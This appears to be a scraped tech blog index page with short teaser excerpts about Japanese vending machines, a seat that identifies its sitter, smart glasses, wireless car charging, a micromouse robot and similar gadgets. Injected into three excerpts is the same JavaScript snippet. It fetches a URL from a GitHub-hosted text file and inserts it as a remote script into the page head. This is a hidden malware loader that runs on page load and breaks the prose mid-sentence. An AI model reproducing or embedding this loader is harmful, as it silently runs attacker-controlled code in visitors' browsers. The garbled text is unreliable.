Pretty much everyone outside of Japan knows that Japan is a little weird, for better or worse. They’re pretty weird — or innovative, depending on how weirded out you are — when it comes to vending machines, offering a wide range of product through the automated box. Some vending machines over there work via an LCD screen rather than transparent glass, some serve up nothing but bananas, while others make hot ramen noodles and dump them in a bowl full of broth. Now, beverage company Asahi Soft Read more [...]

A new kind of car seat developed by the Advanced Institute of Industrial Technology inTokyo is able to identify the person who is sitting on it. The seat works by using a system of 360 pressure sensors, which through their combined effort can apparently remember what it feels like to be sat on by you as opposed to anyone a little bit thinner or fatter. It seems like it would be a pretty inaccurate affair, but tests have shown that it has a 98% percent recognition rate, which is pretty good considering Read more [...]

Watch a full music band using the iPad as there only instrument! Although this is not new, it's still awesome! Can you imagine being one of these guys or how much time they have been training for?! Here's the video: var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

     Photo: Laster Technologies These glasses let users dispense with a computer monitor altogether. A decade ago, tech sages predicted that many portable consumer devices would soon be integrated into the mobile phone. For once, the pundits were right: Today, of course, elements of the old PDA, MP3 player, digital camera, portable e-mail, Web browser, and camcorder now live on our smartphones. Next in line, says a French company, are eyeglasses. When they get smart, we’ll be able Read more [...]

      Nissan's wireless charging station for its Leaf electric car. Nissan in Japan has given a glimpse of the very near future in the form of a wireless charging station for its Leaf electric car.Present electric vehicle charging technology requires the connection of a cable to the vehicle to recharge its battery via mains electricity.Now Nissan has developed a wireless charging pad that recharges the battery simply by parking the vehicle on top of a ground Read more [...]

"If you think that you need a piece of mind, this gadget is a must for you. A solar battery charger for your cellphone. It comes from Japan. This little cell phone strap from Strap-Ya is actually a small solar cell that can store energy and charge your phone. It can be charged up to 500 times–and if it’s cloudy, three hours on an AC adapter will give you a backup battery anyway. The  solar charger even comes with an AC adapter that allows it to be charged up and used as a spare battery.  This Read more [...]

"If you have USB cables, cell phone chargers and other connecters lying all around your desk, just get a couple of binder clips from your nearest stationery store and fix them to one edge of your table as shown in the picture. De-clutter your Desk The wire arms (or the handles) of the binder clip can act as “holders” to not only give you quick access to your most frequently used cables but they’ll also prevent the wires from falling off your computer table. Binder Clips are available Read more [...]

"Because the world has an unquenchable need to enjoy Angry Birds in ever conceivable way, on every conceivable platform. Including pizza. This image was credited to this Deviantart account, but the original seems to have gone missing. If you’re the creator of the image, contact us so we can credit you properly." (via Neatorama)var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); Read more [...]

One year ago, we got super excited when a micromouse managed to negotiate a maze in under five seconds. At the 2011 All Japan Micromouse Robot Competition in Tsukuba, the micromouse pictured above shaved an entire second off of that time, completing the maze in a scant 3.921 seconds. That's fast. This robot, called Min7.1, was designed by Ng Beng Kiat. It has a top speed of just over 12 kph, which is wicked quick for something that's 10 cm long and weighs only 90 grams. Of course, the Read more [...]

Google after you search for "Do a barrel roll." Screen shot by ABC News. Got a moment to kill? Try this: Go to Google’s homepage. Type in the words “Do a barrel roll.” Click Enter. Did the Earth move for you? The image in your browser should — well, it should have done a barrel roll. As often happens, the Internet was filled with speculation when people began to notice it on Thursday. Many Twitter posts asked if it was a takeoff on Apple’s iPads, with their built-in accelerometers so Read more [...]

Below, 30 examples of stunning color photography to inspire your entry. Children and Baby Bird by flickr user Pink Sherbet Photography Frutilla Lavada by flickr user Aldana Florencia var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

Today's sewing machines are sophisticated embedded systems with exacting precision, automated stitch control, and touch-screen interfaces: Photo: Brother International SQUINT-FREE: When appliances go digital, some difficult tasks become easy. The Brother Quattro 6000D sewing machine shown here has a camera above the needle plate that shows the stitching area on a built-in LCD screen. My Aunt Yetta sewed quilts—and most of her family's clothes—on an antique treadle sewing machine that Read more [...]